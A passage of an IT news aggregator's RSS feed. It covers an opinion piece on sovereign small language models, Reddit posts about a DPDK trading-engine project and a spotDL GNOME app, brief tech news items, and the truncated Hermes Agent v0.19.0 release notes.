<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Looking for guidance on moving my low-latency C++ project from AF_PACKET to real DPDK kernel bypass]]></title>
<description><![CDATA[Hi everyone, I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience. GitHub: https://github.com/Shivfun99/Pulse-Order...]]></description>
<link>https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi everyone,</p> <p>I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience.</p> <p><strong>GitHub:</strong><br> <a href="https://github.com/Shivfun99/Pulse-Order">https://github.com/Shivfun99/Pulse-Order</a></p> <p>past posts:</p> <p><a href="https://www.reddit.com/r/quantindia/s/u45s60B33Q">https://www.reddit.com/r/quantindia/s/u45s60B33Q</a></p> <p><a href="https://www.reddit.com/r/quant/s/IHKVkv0UGv">https://www.reddit.com/r/quant/s/IHKVkv0UGv</a></p> <h1>Current Version (V1)</h1> <p>The project currently includes:</p> <ul> <li>Binary market data parsing</li> <li>Level 2 order book</li> <li>Strategy + risk checks</li> <li>DPDK-based packet processing experiments</li> <li>AF_PACKET backend for packet RX/TX</li> <li>Cache-friendly C++20 implementation</li> <li>Lock-free queues</li> <li>Application-side latency benchmarking</li> <li>Scenario testing and benchmarking framework</li> </ul> <p>Current latency (application-side RX → TX enqueue) is in the sub-microsecond range under the benchmark setup, but I understand this is <strong>not true wire-to-wire latency</strong> since it doesn't involve a physical DPDK-supported NIC.</p> <h1>What I want to build in V2</h1> <p>I want to move to a <strong>real DPDK kernel-bypass architecture</strong> using a physical NIC instead of AF_PACKET.</p> <p>My goals are:</p> <ul> <li>Real kernel bypass using DPDK</li> <li>VFIO-bound NIC</li> <li>Poll Mode Driver (PMD)</li> <li>Physical RX/TX queues</li> <li>End-to-end latency measurement</li> <li>Hardware timestamping (later)</li> <li>Multi-queue support</li> <li>Real market-data replay</li> <li>Accurate p99/p99.9 latency analysis</li> </ul> <h1>My situation</h1> <p>At the moment I only have an <strong>ASUS TUF Gaming A15</strong> laptop running Ubuntu. I don't have a desktop or server.</p> <p>From what I've read, it seems server NICs like the Intel X520/X710/I350 require PCIe, which laptops generally don't provide.</p> <h1>My questions</h1> <ol> <li>Is there any practical way to use a real DPDK-supported NIC with only this laptop?</li> <li>Would you recommend moving to a desktop before attempting real kernel bypass?</li> <li>What hardware would you buy if you were starting today on a limited budget?</li> <li>Are there any good open-source examples that demonstrate a complete RX → processing → TX pipeline with DPDK?</li> <li>If you were designing the next version of this project, what features would you prioritize?</li> </ol> <p>I'm building this primarily to learn low-latency systems and HFT infrastructure, so I'd really appreciate any advice, recommended hardware, papers, repositories, or common mistakes to avoid.</p> <p>Thanks!</p> <p><a href="https://www.reddit.com/submit/?source_id=t3_1v1qm0s&amp;composer_entry=crosspost_prompt"></a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Federal_Tackle3053"> /u/Federal_Tackle3053 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v1qov1/looking_for_guidance_on_moving_my_lowlatency_c/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v1qov1/looking_for_guidance_on_moving_my_lowlatency_c/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[I made a native GNOME app for downloading music from Spotify]]></title>
<description><![CDATA[I've been using spotDL for years, and while the CLI is fantastic, I always found myself wishing it had a proper desktop app that actually felt at home on Linux. So over the last little while I built one. spotDL GNOME is a Linux-focused fork of spotDL with a native GTK4/libadwaita interface, packa...]]></description>
<link>https://tsecurity.de/de/3682513/linux-tipps/i-made-a-native-gnome-app-for-downloading-music-from-spotify/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682513/linux-tipps/i-made-a-native-gnome-app-for-downloading-music-from-spotify/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:12 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've been using <strong>spotDL</strong> for years, and while the CLI is fantastic, I always found myself wishing it had a proper desktop app that actually felt at home on Linux.</p> <p>So over the last little while I built one.</p> <p><strong>spotDL GNOME</strong> is a Linux-focused fork of spotDL with a native <strong>GTK4/libadwaita</strong> interface, packaged as a self-contained <strong>Flatpak</strong>. The goal wasn't to replace the CLI, just to make it easier to use for people who prefer a GUI.</p> <p>Some of the things it includes:</p> <ul> <li>🎵 Download Spotify tracks, albums and playlists</li> <li>📦 One-click Flatpak installation</li> <li>⏳ Live download progress</li> <li>🕘 Download history</li> <li>🔁 Automatic fallback sources (YouTube Music → YouTube → SoundCloud → Bandcamp)</li> <li>❌ Retry failed tracks individually with clear error messages</li> <li>📁 Organised music folders with configurable templates</li> <li>🎚️ Audio format, bitrate and synced lyrics settings</li> <li>🛠️ FFmpeg and Deno bundled in the Flatpak</li> </ul> <p>One thing that was important to me was making it feel like an actual GNOME application instead of an Electron wrapper. If you're running Fedora, Ubuntu or another distro with Flatpak, it should fit right in.</p> <p>I'd love some feedback from other Linux users. Feature requests, bug reports and PRs are always welcome.</p> <p>GitHub:<br> <a href="https://github.com/loafdaddy/spotDL-GNOME">https://github.com/loafdaddy/spotDL-GNOME</a></p> <p>Huge thanks to the original <strong>spotDL</strong> developers. Their project does all the heavy lifting. This is simply a native desktop frontend built on top of their excellent engine.</p> <p><strong>AI disclosure:</strong> I used AI as a development tool for parts of the GTK UI, documentation, branding and boilerplate. It wasn't generated from a single prompt, and everything in the project has been manually reviewed and tested before release.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/TwoLoafsApps"> /u/TwoLoafsApps </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v23nzk/i_made_a_native_gnome_app_for_downloading_music/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v23nzk/i_made_a_native_gnome_app_for_downloading_music/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smart Home Gyms Are Getting Smarter: These Expert Picks Are Worth Every Penny]]></title>
<description><![CDATA[If you’re unsure whether you should add a smart home gym to your space, let this list of my favorite devices be your guide.]]></description>
<link>https://tsecurity.de/de/3682365/it-nachrichten/smart-home-gyms-are-getting-smarter-these-expert-picks-are-worth-every-penny/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682365/it-nachrichten/smart-home-gyms-are-getting-smarter-these-expert-picks-are-worth-every-penny/</guid>
<pubDate>Tue, 21 Jul 2026 01:17:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you’re unsure whether you should add a smart home gym to your space, let this list of my favorite devices be your guide.]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI Model That Beat Claude: Kimi K3 Tops Frontend Coding Test]]></title>
<description><![CDATA[Moonshot AI’s Kimi K3 topped a frontend coding benchmark, beating Claude Fable 5 while adding pressure on US AI leaders.
The post The AI Model That Beat Claude: Kimi K3 Tops Frontend Coding Test appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3682145/it-nachrichten/the-ai-model-that-beat-claude-kimi-k3-tops-frontend-coding-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682145/it-nachrichten/the-ai-model-that-beat-claude-kimi-k3-tops-frontend-coding-test/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Moonshot AI’s Kimi K3 topped a frontend coding benchmark, beating Claude Fable 5 while adding pressure on US AI leaders.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-apac-china-kimi-k3-moonshot-ai/">The AI Model That Beat Claude: Kimi K3 Tops Frontend Coding Test</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sheetz replaces VMware at more than 830 stores]]></title>
<description><![CDATA[Convenience store and gas station chain Sheetz announced it is replacing VMware across its network of more than 830 retail locations with StorMagic’s SvHCI hyperconverged infrastructure platform, marking one of the larger publicly announced migrations away from VMware.



The rollout is already w...]]></description>
<link>https://tsecurity.de/de/3681972/it-security-nachrichten/sheetz-replaces-vmware-at-more-than-830-stores/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681972/it-security-nachrichten/sheetz-replaces-vmware-at-more-than-830-stores/</guid>
<pubDate>Mon, 20 Jul 2026 20:52:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Convenience store and gas station chain <a href="https://www.sheetz.com/">Sheetz</a> announced it is replacing VMware across its network of more than 830 retail locations with StorMagic’s SvHCI hyperconverged infrastructure platform, marking one of the <a href="https://www.networkworld.com/article/4133925/some-enterprises-are-dropping-vmware-just-not-all-at-once.html">larger publicly</a> announced <a href="https://www.networkworld.com/article/3846918/5-alternatives-to-vmware-vsphere-virtualization-platform.html">migrations away</a> from VMware.</p>



<p class="wp-block-paragraph">The rollout is already well underway. According to StorMagic, Sheetz has completed migrations at more than 600 stores and is averaging roughly 200 store conversions per month. At that rate, the company is on track to finish the project in about four months.</p>



<p class="wp-block-paragraph">The migration is being carried out entirely remotely, eliminating the need for hardware upgrades or on-site IT visits. This lets the chain continue using its existing Dell PowerEdge R440 and R450 servers.</p>



<p class="wp-block-paragraph">The two companies have a relationship dating back to 2020, when <a href="https://www.gartner.com/reviews/product/svsan-6">Sheetz first deployed StorMagic’s SvSAN</a> software as the hyperconverged storage layer with VMware across hundreds of store locations to virtualize critical in-store application. The setup supported mission-critical applications such as payment processing, loyalty programs, kitchen management and store operations.</p>



<p class="wp-block-paragraph">The new deployment replaces VMware entirely with StorMagic’s integrated SvHCI virtualization stack, simplifying infrastructure while reducing software complexity and operating costs.</p>



<p class="wp-block-paragraph">By employing existing hardware and managing migrations remotely, Sheetz expects to minimize disruption while standardizing virtualization across its nationwide footprint. StorMagic said the completed platform will provide a highly available infrastructure for business-critical in-store applications while extending the useful life of existing server hardware.</p>



<p class="wp-block-paragraph">“Our initial rollout proved StorMagic could deliver the resilience and centralized management needed across a large, distributed retail environment,” said <a href="https://www.linkedin.com/in/gary-sliver-5903431/">Gary Sliver,</a> director of platform engineering at Sheetz in a <a href="https://stormagic.com/company/news/sheetz-chooses-stormagic-svhci-to-replace-vmware-across-830-retail-stores/">statement</a>.</p>



<p class="wp-block-paragraph">“StorMagic worked to understand our needs and requirements, to include a 24/7/365 operating environment, and ultimately delivered a product and plan that is allowing us to migrate hundreds of locations from VMware quickly and with minimal downtime, without requiring hardware replacements or having to send technicians to every site. This project is proof that large-scale edge migrations don’t have to be disruptive, drawn-out or scary affairs.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" 